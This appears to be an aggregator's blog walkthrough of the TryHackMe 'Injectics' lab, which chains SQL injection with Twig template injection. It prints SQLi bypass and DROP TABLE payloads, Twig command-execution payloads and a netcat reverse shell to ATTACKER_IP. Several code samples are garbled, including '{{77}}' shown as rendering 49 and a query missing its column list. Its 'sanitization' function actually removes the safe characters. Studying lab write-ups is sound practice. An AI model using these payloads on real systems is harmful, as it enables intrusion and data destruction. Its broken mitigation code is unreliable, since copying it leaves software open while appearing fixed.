The Injectics Chronicles: How I Chained SQLi and SSTI to Pwn a Server

Listen to this Post

Featured Image

Introduction:

Modern web applications are a complex tapestry of interconnected components, where a single vulnerability can often cascade into full system compromise. The TryHackMe “Injectics” challenge demonstrates this reality through a carefully crafted scenario where SQL injection and server-side template injection work in concert to expose critical security flaws. This exercise provides invaluable insights into real-world web application penetration testing methodology.

Learning Objectives:

  • Master advanced SQL injection techniques for authentication bypass and database manipulation
  • Understand Server-Side Template Injection (SSTI) detection and exploitation in Twig templates
  • Develop methodology for chaining multiple vulnerabilities to achieve privilege escalation

You Should Know:

  1. Systematic Enumeration: The Foundation of Successful Penetration Testing

Effective penetration testing begins with comprehensive enumeration. The initial discovery phase revealed two critical attack surfaces: SSH (port 22) and HTTP (port 80). The web application source code analysis uncovered a crucial piece of information – references to mail.log containing fallback credentials.

Step-by-step guide:

 Nmap network scanning
nmap -sC -sV -T4 target_ip

Directory and file enumeration
gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt
curl http://target_ip/mail.log

Source code analysis
curl http://target_ip/ | grep -i "comment|hidden"

The discovery of mail.log with its hint about fallback admin credentials established the attack strategy: eliminate the users table to trigger the fallback mechanism.

2. Advanced SQL Injection: Beyond Basic Authentication Bypass

Traditional SQL injection payloads often fail against modern applications. The challenge required creative use of logical operators and alternative injection vectors beyond standard login forms.

Step-by-step guide:

-- Traditional payload that failed
' OR '1'='1' --

-- Alternative authentication bypass
admin' -- 
' OR 1=1; --
username' UNION SELECT 1,'admin','hashed_password' --

-- Table deletion payload
'; DROP TABLE users; --

The key insight was identifying secondary injection points within the sports data editing functionality, demonstrating that injection vulnerabilities can exist beyond obvious input fields.

3. Privilege Escalation Through Database Manipulation

Strategic manipulation of the database structure enabled privilege escalation. By triggering the deletion of the users table, the attacker activated the fallback admin account referenced in mail.log.

Step-by-step guide:

-- Identify database structure first
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables --

-- Confirm users table existence
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' --

-- Execute destructive operation
'; DROP TABLE users; --

After table deletion, the fallback credentials (admin:backup_admin_password) provided administrative access, revealing the first flag and unlocking the SSTI vulnerability.

4. Server-Side Template Injection Detection and Confirmation

Template injection vulnerabilities occur when user input is embedded in templates without proper sanitization. The Twig template engine vulnerability was confirmed using mathematical expressions.

Step-by-step guide:

 Basic SSTI detection payload
{{77}}

If rendered as 49, confirmation of Twig vulnerability
{{config}}

Environment variable disclosure
{{app.request.server.all|join(',')}}

The successful execution of {{77}} rendering as “49” confirmed the Twig template injection vulnerability, opening the path to remote code execution.

5. Weaponizing SSTI for Remote Code Execution

Twig’s sandbox escape mechanisms allow attackers to break out of restricted execution environments and achieve code execution through various techniques.

Step-by-step guide:

 Method 1: Using _self.env
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Method 2: Direct command execution
{{['cat /etc/passwd']|filter('system')}}

Method 3: Reverse shell payload
{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f']|filter('system')}}

The weaponized SSTI payload established a reverse shell connection to the attacker-controlled system.

6. Post-Exploitation and Flag Discovery

With shell access established, standard post-exploitation techniques enabled navigation to the flags directory and retrieval of the final flag.

Step-by-step guide:

 Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

Basic enumeration
whoami
pwd
ls -la

Find and retrieve flags
find / -name "flags" -type d 2>/dev/null
cd /var/www/html/flags
cat flag2.txt

Alternative location checking
ls -la /home/
ls -la /root/

The systematic file system exploration revealed the flags directory containing the final objective.

7. Vulnerability Mitigation and Secure Coding Practices

Understanding exploitation is only half the battle; implementing proper defenses completes the security lifecycle.

Step-by-step guide:

// SQL Injection prevention using prepared statements
$stmt = $pdo->prepare("SELECT  FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);

// SSTI prevention through input sanitization
function sanitizeTemplateInput($input) {
$allowed_chars = '/[a-zA-Z0-9\s]/';
return preg_replace($allowed_chars, '', $input);
}

// Additional security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Content-Type-Options: nosniff");

Implementation of parameterized queries, input validation, and security headers provides comprehensive protection against these attack vectors.

What Undercode Say:

  • Chained vulnerabilities represent the most significant threat to modern applications, where multiple low-to-medium severity issues combine to create critical exploitation paths
  • The evolution from SQL injection to SSTI demonstrates attacker methodology progression from data extraction to code execution
  • Organizations must implement defense-in-depth strategies rather than relying on single-point security solutions

The Injectics challenge exemplifies modern attack patterns where attackers don’t rely on single vulnerabilities but instead create exploitation chains. This approach mirrors real-world attacks where initial access through one vulnerability enables discovery and exploitation of additional weaknesses. The technical sophistication required underscores the importance of comprehensive security testing that examines how different application components interact.

Prediction:

The convergence of injection vulnerabilities with template engines will increasingly target serverless architectures and cloud-native applications. As organizations accelerate digital transformation, template injection attacks will evolve to target infrastructure-as-code templates, CI/CD pipelines, and AI model deployment frameworks. The next frontier will see SSTI-style attacks against YAML/JSON configuration files in DevOps toolchains, potentially enabling cloud environment takeover through poisoned deployment templates. Defense strategies must shift left to include template security scanning in development pipelines and runtime protection for template rendering engines.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Amir Mulla – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky